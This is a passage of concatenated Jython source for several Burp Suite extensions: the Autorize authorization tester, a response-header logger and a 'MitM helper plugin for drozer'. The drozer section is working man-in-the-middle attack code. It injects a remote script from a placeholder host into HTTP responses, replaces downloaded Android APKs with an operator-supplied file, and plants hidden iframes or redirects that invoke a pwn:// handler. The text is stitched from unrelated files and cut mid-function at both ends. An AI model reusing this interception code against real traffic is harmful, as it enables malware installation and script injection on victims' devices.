delEDFilter(self, event): index = self.EDList.getSelectedIndex() if not index == -1: self.EDModel.remove(index) def addIFFilter(self, event): typeName = self.IFType.getSelectedItem().split(":")[0] self.IFModel.addElement(typeName + ": " + self.IFText.getText()) def delIFFilter(self, event): index = self.IFList.getSelectedIndex() if not index == -1: self.IFModel.remove(index) def clearList(self, event): self._lock.acquire() self._log = ArrayList() row = self._log.size() self.fireTableRowsInserted(row, row) self._lock.release() def exportToHTML(self, event): parentFrame = JFrame() fileChooser = JFileChooser() fileChooser.setSelectedFile(File("AutorizeReprort.html")) fileChooser.setDialogTitle("Save Autorize Report") userSelection = fileChooser.showSaveDialog(parentFrame) if userSelection == JFileChooser.APPROVE_OPTION: fileToSave = fileChooser.getSelectedFile() enforcementStatusFilter = self.exportES.getSelectedItem() htmlContent = """<html><title>Autorize Report by Barak Tawily</title> <style> .datagrid table { border-collapse: collapse; text-align: left; width: 100%; } .datagrid {font: normal 12px/150% Arial, Helvetica, sans-serif; background: #fff; overflow: hidden; border: 1px solid #006699; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .datagrid table td, .datagrid table th { padding: 3px 10px; } .datagrid table thead th {background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; color:#FFFFFF; font-size: 15px; font-weight: bold; border-left: 1px solid #0070A8; } .datagrid table thead th:first-child { border: none; }.datagrid table tbody td { color: #00496B; border-left: 1px solid #E1EEF4;font-size: 12px;font-weight: normal; }.datagrid table tbody .alt td { background: #E1EEF4; color: #00496B; }.datagrid table tbody td:first-child { border-left: none; }.datagrid table tbody tr:last-child td { border-bottom: none; }.datagrid table tfoot td div { border-top: 1px solid #006699;background: #E1EEF4;} .datagrid table tfoot td { padding: 0; font-size: 12px } .datagrid table tfoot td div{ padding: 2px; }.datagrid table tfoot td ul { margin: 0; padding:0; list-style: none; text-align: right; }.datagrid table tfoot li { display: inline; }.datagrid table tfoot li a { text-decoration: none; display: inline-block; padding: 2px 8px; margin: 1px;color: #FFFFFF;border: 1px solid #006699;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; }.datagrid table tfoot ul.active, .datagrid table tfoot ul a:hover { text-decoration: none;border-color: #006699; color: #FFFFFF; background: none; background-color:#00557F;}div.dhtmlx_window_active, div.dhx_modal_cover_dv { position: fixed !important; } table { width: 100%; table-layout: fixed; } td { border: 1px solid #35f; overflow: hidden; text-overflow: ellipsis; } td.a { width: 13%; white-space: nowrap; } td.b { width: 9%; word-wrap: break-word; } </style> <body> <h1>Autorize Report<h1> <div class="datagrid"><table> <thead><tr><th>URL</th><th>Authorization Enforcement Status</th></tr></thead> <tbody>""" for i in range(0, self._log.size()): color = "" if self._log.get( i )._enfocementStatus == "Authorization enforced??? (please configure enforcement detector)": color = "yellow" if self._log.get(i)._enfocementStatus == "Authorization bypass!": color = "red" if self._log.get(i)._enfocementStatus == "Authorization enforced!": color = "LawnGreen" if enforcementStatusFilter == "All Statuses": htmlContent += "<tr bgcolor=\"%s\"><td><a href=\"%s\">%s</a></td><td>%s</td></tr>" % ( color, self._log.get(i)._url, self._log.get(i)._url, self._log.get(i)._enfocementStatus) else: if enforcementStatusFilter == self._log.get( i)._enfocementStatus: htmlContent += "<tr bgcolor=\"%s\"><td><a href=\"%s\">%s</a></td><td>%s</td></tr>" % ( color, self._log.get(i)._url, self._log.get(i)._url, self._log.get(i)._enfocementStatus) htmlContent += "</tbody></table></div></body></html>" f = open(fileToSave.getAbsolutePath(), 'w') f.writelines(htmlContent) f.close() # # implement IContextMenuFactory # def createMenuItems(self, invocation): responses = invocation.getSelectedMessages() if responses > 0: ret = LinkedList() requestMenuItem = JMenuItem("Send request to Autorize") cookieMenuItem = JMenuItem("Send cookie to Autorize") requestMenuItem.addActionListener( handleMenuItems(self, responses[0], "request")) cookieMenuItem.addActionListener( handleMenuItems(self, responses[0], "cookie")) ret.add(requestMenuItem) ret.add(cookieMenuItem) return (ret) return null # # implement ITab # def getTabCaption(self): return "Autorize" def getUiComponent(self): return self._splitpane # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 2 def getColumnName(self, columnIndex): if columnIndex == 0: return "URL" if columnIndex == 1: return "Authorization Enforcement Status" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._url.toString() if columnIndex == 1: return logEntry._enfocementStatus return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if self.intercept == 1: if self.prevent304.isSelected(): if messageIsRequest: requestHeaders = list( self._helpers.analyzeRequest(messageInfo).getHeaders()) newHeaders = list() found = 0 for header in requestHeaders: if not "If-None-Match:" in header and not "If-Modified-Since:" in header: newHeaders.append(header) found = 1 if found == 1: requestInfo = self._helpers.analyzeRequest(messageInfo) bodyBytes = messageInfo.getRequest()[requestInfo. getBodyOffset():] bodyStr = self._helpers.bytesToString(bodyBytes) messageInfo.setRequest( self._helpers.buildHttpMessage( newHeaders, bodyStr)) if not messageIsRequest: if not self.replaceString.getText( ) in self._helpers.analyzeRequest(messageInfo).getHeaders(): if self.ignore304.isSelected(): firstHeader = self._helpers.analyzeResponse( messageInfo.getResponse()).getHeaders()[0] if "304" in firstHeader or "204" in firstHeader: return if self.IFList.getModel().getSize() == 0: self.checkAuthorization( messageInfo, self._helpers.analyzeResponse( messageInfo.getResponse()).getHeaders()) else: urlString = str( self._helpers.analyzeRequest(messageInfo).getUrl()) for i in range(0, self.IFList.getModel().getSize()): if self.IFList.getModel().getElementAt(i).split( ":")[0] == "Scope items only": currentURL = URL(urlString) if self._callbacks.isInScope(currentURL): self.checkAuthorization( messageInfo, self._helpers.analyzeResponse( messageInfo.getResponse()). getHeaders()) if self.IFList.getModel().getElementAt(i).split( ":")[0] == "URL Contains": if self.IFList.getModel().getElementAt( i)[14:] in urlString: self.checkAuthorization( messageInfo, self._helpers.analyzeResponse( messageInfo.getResponse()). getHeaders()) return def makeRequest(self, messageInfo, message): requestURL = self._helpers.analyzeRequest(messageInfo).getUrl() return self._callbacks.makeHttpRequest( self._helpers.buildHttpService( str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https"), message) def makeMessage(self, messageInfo, removeOrNot): requestInfo = self._helpers.analyzeRequest(messageInfo) headers = requestInfo.getHeaders() if removeOrNot: headers = list(headers) removeHeaders = ArrayList() removeHeaders.add(self.replaceString.getText() [0:self.replaceString.getText().index(":")]) for header in headers[:]: for removeHeader in removeHeaders: if removeHeader in header: headers.remove(header) headers.append(self.replaceString.getText()) msgBody = messageInfo.getRequest()[requestInfo.getBodyOffset():] return self._helpers.buildHttpMessage(headers, msgBody) def checkAuthorization(self, messageInfo, originalHeaders): message = self.makeMessage(messageInfo, True) requestResponse = self.makeRequest(messageInfo, message) analyzedResponse = self._helpers.analyzeResponse( requestResponse.getResponse()) oldStatusCode = originalHeaders[0] newStatusCode = analyzedResponse.getHeaders()[0] oldContentLen = self.getContentLength(originalHeaders) newContentLen = self.getContentLength(analyzedResponse.getHeaders()) impression = "" EDFilters = self.EDModel.toArray() if oldStatusCode == newStatusCode: if oldContentLen == newContentLen: impression = "Authorization bypass!" else: impression = "Authorization enforced??? (please configure enforcement detector)" for filter in EDFilters: if str(filter).startswith("Content-Length: "): if newContentLen == filter: impression = "Authorization enforced!" if str(filter).startswith("Finger Print: "): if filter[14:] in self._helpers.bytesToString( requestResponse.getResponse() [analyzedResponse.getBodyOffset():]): impression = "Authorization enforced!" else: impression = "Authorization enforced!" self._lock.acquire() row = self._log.size() self._log.add( LogEntry(self._callbacks.saveBuffersToTempFiles(requestResponse), self._helpers.analyzeRequest(requestResponse).getUrl(), messageInfo, impression)) # same requests not include again. self.fireTableRowsInserted(row, row) self._lock.release() def getContentLength(self, analyzedResponseHeaders): for header in analyzedResponseHeaders: if "Content-Length:" in header: return header return "null" def getCookieFromMessage(self, messageInfo): headers = list( self._helpers.analyzeRequest( messageInfo.getRequest()).getHeaders()) for header in headers: if "Cookie:" in header: return header return None
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # # Evil global variables # Be ready to receive hate mail Tyrone & Daniel! # apkRequests = {} # # Executors # def injectPwn(self, messageInfo): # Get response response = messageInfo.getResponse() responseParsed = self._helpers.analyzeResponse(response) body = self._callbacks.getHelpers().bytesToString( response)[responseParsed.getBodyOffset():] headers = responseParsed.getHeaders() if not self.tools[2].getTickBoxTicked(): # Method 1 - silent invocation - Inject iframe loading from pwn:// into responses (case insensitive) changedContent = re.sub( re.compile(r'</body>', re.IGNORECASE), '<iframe src="pwn://lol" width=1 height=1 style="visibility:hidden;position:absolute"></iframe></body>', body) else: # Method 2 - active invocation - redirect to the pwn:// handler (this is a requirement for versions of Chromium >= 25) changedContent = re.sub( re.compile(r'</body>', re.IGNORECASE), '<script>window.location="pwn://www.google.com/pluginerror.html"</script></body>', body) changedContentBytes = self._callbacks.getHelpers().stringToBytes( changedContent) final = self._callbacks.getHelpers().buildHttpMessage( headers, changedContentBytes) # Set the response if the content changed and add to log if body != changedContent: messageInfo.setResponse(final) self.addLog( self._helpers.analyzeRequest(messageInfo).getUrl(), "Injected drozer invocation with pwn://") return def injectJs(self, messageInfo): # Get response response = messageInfo.getResponse() responseParsed = self._helpers.analyzeResponse(response) body = self._callbacks.getHelpers().bytesToString( response)[responseParsed.getBodyOffset():] headers = responseParsed.getHeaders() editBoxStr = str(self.tools[0].getEditBox()) # Inject arbitrary script into responses changedContent = re.sub( re.compile(r'<head>', re.IGNORECASE), '<head><script src="' + editBoxStr + '"></script>', body) changedContent = re.sub( re.compile(r'</body>', re.IGNORECASE), '<script src="' + editBoxStr + '"></script></body>', changedContent) changedContent = re.sub( re.compile(r'<content>', re.IGNORECASE), '<content><script src="' + editBoxStr + '"></script>', changedContent) changedContentBytes = self._callbacks.getHelpers().stringToBytes( changedContent) final = self._callbacks.getHelpers().buildHttpMessage( headers, changedContentBytes) # Set the response if the content changed and add to log if body != changedContent: messageInfo.setResponse(final) self.addLog( self._helpers.analyzeRequest(messageInfo).getUrl(), "Injected JavaScript from " + editBoxStr) return def modifyAPKRequest(self, messageInfo): # Get requested path req = self._callbacks.getHelpers().analyzeRequest(messageInfo) reqUrl = req.getUrl() headers = list(req.getHeaders()) # convert to python list reqHost = reqUrl.getHost() reqPath = reqUrl.getPath() reqPort = reqUrl.getPort() # If it ends in .apk then change type to HEAD if reqPath.upper().endswith(".APK"): self.addLog(reqUrl, "Got request for APK...") # Determine whether an HTTP or HTTPS connection must be made if reqPort == 443: conn = http.client.HTTPSConnection(reqHost, reqPort) else: conn = http.client.HTTPConnection(reqHost, reqPort) # Get headers from user request httpLibHeaders = {} for i in headers: splitHeaders = i.split(": ") if len(splitHeaders) == 2: httpLibHeaders[splitHeaders[0]] = splitHeaders[1] # Perform HEAD on target file from server using headers conn.request("HEAD", reqPath, headers=httpLibHeaders) response = conn.getresponse() responseHeaders = response.getheaders() # Add to information for use by injectAPK() version = "" if str(response.version) == "11": version = "HTTP/1.1" else: version = "HTTP/1.0" self.apkRequests[reqPath] = [ reqUrl, version + " " + str(response.status) + " " + str(response.reason), responseHeaders ] print(self.apkRequests[reqPath]) # Instead of passing request - change host to www.google.com which will be non existent httpService = messageInfo.getHttpService() messageInfo.setHttpService( self._callbacks.getHelpers().buildHttpService( "www.google.com", httpService.getPort(), httpService.getProtocol())) return def injectAPK(self, messageInfo): # Get requested path req = self._callbacks.getHelpers().analyzeRequest(messageInfo) reqUrl = req.getUrl() reqHost = reqUrl.getHost() reqPath = reqUrl.getPath() reqPort = reqUrl.getPort() # If it ends in .apk then replace it! if reqPath.upper().endswith(".APK"): # Check this is a request we have seen if reqPath in self.apkRequests: # Get stored url and header res = self.apkRequests[reqPath] url = res[0] httpStatus = res[1] headers = [] headers.append(httpStatus) for i in res[2]: headers.append(i[0] + ': ' + ''.join(i[1:])) # Open and read APK from specified path f = open(self.tools[1].getEditBox()) changedContentBytes = f.read() f.close() final = self._callbacks.getHelpers().buildHttpMessage( headers, changedContentBytes) # Replace response with new APK messageInfo.setResponse(final) self.addLog(url, "Replaced APK!") return def injectCustomURI(self, messageInfo): # Get response response = messageInfo.getResponse() responseParsed = self._helpers.analyzeResponse(response) body = self._callbacks.getHelpers().bytesToString( response)[responseParsed.getBodyOffset():] headers = responseParsed.getHeaders() uri = self.tools[3].getEditBox() if not self.tools[3].getTickBoxTicked(): # Method 1 - silent invocation - Inject iframe loading from pwn:// into responses (case insensitive) changedContent = re.sub( re.compile(r'</body>', re.IGNORECASE), '<iframe src="' + uri + '" width=1 height=1 style="visibility:hidden;position:absolute"></iframe></body>', body) else: # Method 2 - active invocation - redirect to the pwn:// handler (this is a requirement for versions of Chromium >= 25) changedContent = re.sub( re.compile(r'</body>', re.IGNORECASE), '<script>window.location="' + uri + '"</script></body>', body) changedContentBytes = self._callbacks.getHelpers().stringToBytes( changedContent) final = self._callbacks.getHelpers().buildHttpMessage( headers, changedContentBytes) # Set the response if the content changed and add to log if body != changedContent: messageInfo.setResponse(final) self.addLog( self._helpers.analyzeRequest(messageInfo).getUrl(), "Injected custom URI") return def nothing(self, messageInfo): pass # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # Make available to whole class self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("MitM helper plugin for drozer") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # Split pane self._splitpane = swing.JSplitPane(swing.JSplitPane.HORIZONTAL_SPLIT) # Create Tab topPanel = swing.JPanel() topPanel.setLayout(swing.BoxLayout(topPanel, swing.BoxLayout.Y_AXIS)) # Define all tools self.tools = [] self.tools.append( Tool(180, "JavaScript Injection", "Inject Remote JS into HTTP Responses", self.nothing, self.injectJs, "JS Location", "http://x.x.x.x:31415/dz.js")) self.tools.append( Tool(180, "APK Replacement", "Replace APK with specified one when requested", self.modifyAPKRequest, self.injectAPK, "APK Location", "", True)) self.tools.append( Tool( 170, "Invoke drozer using pwn://", "Inject code into HTTP Responses that invokes installed drozer agent", self.nothing, self.injectPwn, None, None, None, "Perform active invocation (required for Chromium >= 25)")) self.tools.append( Tool( 220, "Custom URI Handler Injection", "Inject code into HTTP Responses that invokes specified URI handler", self.nothing, self.injectCustomURI, "URI", "pwn://me", None, "Perform active invocation (required for Chromium >= 25)")) # Add all tools to panel for i in self.tools: topPanel.add(i.getPanel()) self._splitpane.setLeftComponent(topPanel) # table of log entries logTable = Table(self) logTable.setAutoResizeMode(swing.JTable.AUTO_RESIZE_ALL_COLUMNS) logTable.getColumn("Time").setPreferredWidth(120) logTable.getColumn("URL").setPreferredWidth(500) scrollPane = swing.JScrollPane(logTable) self._splitpane.setRightComponent(scrollPane) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(topPanel) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return def addLog(self, url, action): self._lock.acquire() row = self._log.size() self._log.add( LogEntry(strftime("%Y-%m-%d %H:%M:%S", gmtime()), url, action)) self.fireTableRowsInserted(row, row) self._lock.release() # # implement ITab # def getTabCaption(self): return "drozer" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # Execute all enabled tools for i in self.tools: if i.getButtonEnabled(): if messageIsRequest: i.getRequestExecutor()(messageInfo) else: i.getResponseExecutor()(messageInfo) # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 3 def getColumnName(self, columnIndex): if columnIndex == 0: return "Time" if columnIndex == 1: return "URL" if columnIndex == 2: return "Action" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._time if columnIndex == 1: return logEntry._url if columnIndex == 2: return logEntry._action return ""
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel): # TODO better way? headers_seen = [] # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Response headers") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) return # # implement ITab # def getTabCaption(self): return "Response Headers" def getUiComponent(self): return self._splitpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # TODO make this configurable in the UI boring_headers = ["ETag", "P3P", "Date", "Vary", "Content-Length", "Cteonnt-Length", "ntCoent-Length", "Keep-Alive", "Connection", "Content-Type", "Accept-Ranges", "Last-Modified", "Content-Language", "Cache-Control", "Expires", "Content-Location", "Location", "Set-Cookie", "Age", "X-Varnish"] # convert to lower case boring_headers = [x.lower() for x in boring_headers] # only process requests if not messageIsRequest: # create a new log entry with the message details self._lock.acquire() row = self._log.size() # TODO possible to use analyseResponse? response = messageInfo.getResponse().tostring() # TODO possible to use getHeaders()? if "\r\n\r\n" in response: headers,body = response.split("\r\n\r\n", 1) # split out each header if "\n" in headers: headers = headers.split("\n") for header in headers: # Skip HTTP verb and other lines without ':' if ": " in header: # split on 1st colon header_name,header_val = header.split(": ", 1) # insert an entry if the header is 'interesting' if header_name.lower() not in boring_headers: # and we haven't seen this name,value pair before if header not in self.headers_seen: self.headers_seen.append(header) print header self._log.add(LogEntry(header, self._callbacks.saveBuffersToTempFiles(messageInfo), self._helpers.analyzeRequest(messageInfo).getUrl())) self.fireTableRowsInserted(row, row) self._lock.release() return # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 2 def getColumnName(self, columnIndex): if columnIndex == 0: return "Header" if columnIndex == 1: return "URL" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: #return self._callbacks.getToolName(logEntry._tool) return logEntry._header if columnIndex == 1: return logEntry._url.toString() return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse()
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Autorize") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() self._enfocementStatuses = ["Authorization bypass!","Authorization enforced??? (please configure enforcement detector)","Authorization enforced!"] self.intercept = 0 self.initInterceptionFilters() self.initEnforcementDetector() self.initEnforcementDetectorUnauthorized() self.initExport() self.initConfigurationTab() self.initTabs() self.initCallbacks() self.currentRequestNumber = 1 print "Thank you for installing Autorize v0.12 extension" print "Created by Barak Tawily" print "Contributors: Barak Tawily, Federico Dotta" print "\nGithub:\nhttps://github.com/Quitten/Autorize" return def initExport(self): # ## init enforcement detector tab # exportLType = JLabel("File Type:") exportLType.setBounds(10, 10, 100, 30) exportLES = JLabel("Enforcement Statuses:") exportLES.setBounds(10, 50, 160, 30) exportFileTypes = ["HTML","CSV"] self.exportType = JComboBox(exportFileTypes) self.exportType.setBounds(100, 10, 200, 30) exportES = ["All Statuses", self._enfocementStatuses[0], self._enfocementStatuses[1], self._enfocementStatuses[2]] self.exportES = JComboBox(exportES) self.exportES.setBounds(100, 50, 200, 30) exportLES = JLabel("Statuses:") exportLES.setBounds(10, 50, 100, 30) self.exportButton = JButton("Export",actionPerformed=self.export) self.exportButton.setBounds(390, 25, 100, 30) self.exportPnl = JPanel() self.exportPnl.setLayout(None); self.exportPnl.setBounds(0, 0, 1000, 1000); self.exportPnl.add(exportLType) self.exportPnl.add(self.exportType) self.exportPnl.add(exportLES) self.exportPnl.add(self.exportES) self.exportPnl.add(self.exportButton) def initEnforcementDetector(self): # ## init enforcement detector tab # # These two variable appears to be unused... self.EDFP = ArrayList() self.EDCT = ArrayList() EDLType = JLabel("Type:") EDLType.setBounds(10, 10, 140, 30) EDLContent = JLabel("Content:") EDLContent.setBounds(10, 50, 140, 30) EDLabelList = JLabel("Filter List:") EDLabelList.setBounds(10, 165, 140, 30) EDStrings = ["Headers (simple string): (enforced message headers contains)", "Headers (regex): (enforced messege headers contains)", "Body (simple string): (enforced messege body contains)", "Body (regex): (enforced messege body contains)", "Full request (simple string): (enforced messege contains)", "Full request (regex): (enforced messege contains)", "Content-Length: (constant Content-Length number of enforced response)"] self.EDType = JComboBox(EDStrings) self.EDType.setBounds(80, 10, 430, 30) self.EDText = JTextArea("", 5, 30) self.EDText.setBounds(80, 50, 300, 110) self.EDModel = DefaultListModel(); self.EDList = JList(self.EDModel); self.EDList.setBounds(80, 175, 300, 110) self.EDList.setBorder(LineBorder(Color.BLACK)) self.EDAdd = JButton("Add filter",actionPerformed=self.addEDFilter) self.EDAdd.setBounds(390, 85, 120, 30) self.EDDel = JButton("Remove filter",actionPerformed=self.delEDFilter) self.EDDel.setBounds(390, 210, 120, 30) self.EDPnl = JPanel() self.EDPnl.setLayout(None); self.EDPnl.setBounds(0, 0, 1000, 1000); self.EDPnl.add(EDLType) self.EDPnl.add(self.EDType) self.EDPnl.add(EDLContent) self.EDPnl.add(self.EDText) self.EDPnl.add(self.EDAdd) self.EDPnl.add(self.EDDel) self.EDPnl.add(EDLabelList) self.EDPnl.add(self.EDList) def initEnforcementDetectorUnauthorized(self): # ## init enforcement detector tab # EDLType = JLabel("Type:") EDLType.setBounds(10, 10, 140, 30) EDLContent = JLabel("Content:") EDLContent.setBounds(10, 50, 140, 30) EDLabelList = JLabel("Filter List:") EDLabelList.setBounds(10, 165, 140, 30) EDStrings = ["Headers (simple string): (enforced message headers contains)", "Headers (regex): (enforced messege headers contains)", "Body (simple string): (enforced messege body contains)", "Body (regex): (enforced messege body contains)", "Full request (simple string): (enforced messege contains)", "Full request (regex): (enforced messege contains)", "Content-Length: (constant Content-Length number of enforced response)"] self.EDTypeUnauth = JComboBox(EDStrings) self.EDTypeUnauth.setBounds(80, 10, 430, 30) self.EDTextUnauth = JTextArea("", 5, 30) self.EDTextUnauth.setBounds(80, 50, 300, 110) self.EDModelUnauth = DefaultListModel(); self.EDListUnauth = JList(self.EDModelUnauth); self.EDListUnauth.setBounds(80, 175, 300, 110) self.EDListUnauth.setBorder(LineBorder(Color.BLACK)) self.EDAddUnauth = JButton("Add filter",actionPerformed=self.addEDFilterUnauth) self.EDAddUnauth.setBounds(390, 85, 120, 30) self.EDDelUnauth = JButton("Remove filter",actionPerformed=self.delEDFilterUnauth) self.EDDelUnauth.setBounds(390, 210, 120, 30) self.EDPnlUnauth = JPanel() self.EDPnlUnauth.setLayout(None); self.EDPnlUnauth.setBounds(0, 0, 1000, 1000); self.EDPnlUnauth.add(EDLType) self.EDPnlUnauth.add(self.EDTypeUnauth) self.EDPnlUnauth.add(EDLContent) self.EDPnlUnauth.add(self.EDTextUnauth) self.EDPnlUnauth.add(self.EDAddUnauth) self.EDPnlUnauth.add(self.EDDelUnauth) self.EDPnlUnauth.add(EDLabelList) self.EDPnlUnauth.add(self.EDListUnauth) def initInterceptionFilters(self): # ## init interception filters tab # IFStrings = ["Scope items only: (Content is not required)","URL Contains (simple string): ","URL Contains (regex): ","URL Not Contains (simple string): ","URL Not Contains (regex): "] self.IFType = JComboBox(IFStrings) self.IFType.setBounds(80, 10, 430, 30) self.IFModel = DefaultListModel(); self.IFList = JList(self.IFModel); self.IFList.setBounds(80, 175, 300, 110) self.IFList.setBorder(LineBorder(Color.BLACK)) self.IFText = JTextArea("", 5, 30) self.IFText.setBounds(80, 50, 300, 110) IFLType = JLabel("Type:") IFLType.setBounds(10, 10, 140, 30) IFLContent = JLabel("Content:") IFLContent.setBounds(10, 50, 140, 30) IFLabelList = JLabel("Filter List:") IFLabelList.setBounds(10, 165, 140, 30) self.IFAdd = JButton("Add filter",actionPerformed=self.addIFFilter) self.IFAdd.setBounds(390, 85, 120, 30) self.IFDel = JButton("Remove filter",actionPerformed=self.delIFFilter) self.IFDel.setBounds(390, 210, 120, 30) self.filtersPnl = JPanel() self.filtersPnl.setLayout(None); self.filtersPnl.setBounds(0, 0, 1000, 1000); self.filtersPnl.add(IFLType) self.filtersPnl.add(self.IFType) self.filtersPnl.add(IFLContent) self.filtersPnl.add(self.IFText) self.filtersPnl.add(self.IFAdd) self.filtersPnl.add(self.IFDel) self.filtersPnl.add(IFLabelList) self.filtersPnl.add(self.IFList) def initConfigurationTab(self): # ## init configuration tab # self.prevent304 = JCheckBox("Prevent 304 Not Modified status code") self.prevent304.setBounds(290, 25, 300, 30) self.ignore304 = JCheckBox("Ignore 304/204 status code responses") self.ignore304.setBounds(290, 5, 300, 30) self.ignore304.setSelected(True) self.autoScroll = JCheckBox("Auto Scroll") #self.autoScroll.setBounds(290, 45, 140, 30) self.autoScroll.setBounds(160, 40, 140, 30) self.doUnauthorizedRequest = JCheckBox("Check unauthenticated") self.doUnauthorizedRequest.setBounds(290, 45, 300, 30) self.doUnauthorizedRequest.setSelected(True) startLabel = JLabel("Authorization checks:") startLabel.setBounds(10, 10, 140, 30) self.startButton = JButton("Autorize is off",actionPerformed=self.startOrStop) self.startButton.setBounds(160, 10, 120, 30) self.startButton.setBackground(Color(255, 100, 91, 255)) self.clearButton = JButton("Clear List",actionPerformed=self.clearList) self.clearButton.setBounds(10, 40, 100, 30) self.replaceString = JTextArea("Cookie: Insert=injected; header=here;", 5, 30) self.replaceString.setWrapStyleWord(True); self.replaceString.setLineWrap(True) self.replaceString.setBounds(10, 80, 470, 180) self.filtersTabs = JTabbedPane() self.filtersTabs.addTab("Enforcement Detector", self.EDPnl) self.filtersTabs.addTab("Detector Unauthenticated", self.EDPnlUnauth) self.filtersTabs.addTab("Interception Filters", self.filtersPnl) self.filtersTabs.addTab("Export", self.exportPnl) self.filtersTabs.setBounds(0, 280, 2000, 700) self.pnl = JPanel() self.pnl.setBounds(0, 0, 1000, 1000); self.pnl.setLayout(None); self.pnl.add(self.startButton) self.pnl.add(self.clearButton) self.pnl.add(self.replaceString) self.pnl.add(startLabel) self.pnl.add(self.autoScroll) self.pnl.add(self.ignore304) self.pnl.add(self.prevent304) self.pnl.add(self.doUnauthorizedRequest) self.pnl.add(self.filtersTabs) def initTabs(self): # ## init autorize tabs # self.logTable = Table(self) self.logTable.setAutoCreateRowSorter(True) tableWidth = self.logTable.getPreferredSize().width self.logTable.getColumn("ID").setPreferredWidth(Math.round(tableWidth / 50 * 2)) self.logTable.getColumn("URL").setPreferredWidth(Math.round(tableWidth / 50 * 24)) self.logTable.getColumn("Orig. Length").setPreferredWidth(Math.round(tableWidth / 50 * 4)) self.logTable.getColumn("Modif. Length").setPreferredWidth(Math.round(tableWidth / 50 * 4)) self.logTable.getColumn("Unauth. Length").setPreferredWidth(Math.round(tableWidth / 50 * 4)) self.logTable.getColumn("Authorization Enforcement Status").setPreferredWidth(Math.round(tableWidth / 50 * 4)) self.logTable.getColumn("Authorization Unauth. Status").setPreferredWidth(Math.round(tableWidth / 50 * 4)) self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT) self._splitpane.setResizeWeight(1) self.scrollPane = JScrollPane(self.logTable) self._splitpane.setLeftComponent(self.scrollPane) self.scrollPane.getVerticalScrollBar().addAdjustmentListener(autoScrollListener(self)) self.menuES0 = JCheckBoxMenuItem(self._enfocementStatuses[0],True) self.menuES1 = JCheckBoxMenuItem(self._enfocementStatuses[1],True) self.menuES2 = JCheckBoxMenuItem(self._enfocementStatuses[2],True) self.menuES0.addItemListener(menuTableFilter(self)) self.menuES1.addItemListener(menuTableFilter(self)) self.menuES2.addItemListener(menuTableFilter(self)) copyURLitem = JMenuItem("Copy URL"); copyURLitem.addActionListener(copySelectedURL(self)) self.menu = JPopupMenu("Popup") self.menu.add(copyURLitem) self.menu.add(self.menuES0) self.menu.add(self.menuES1) self.menu.add(self.menuES2) self.tabs = JTabbedPane() self._requestViewer = 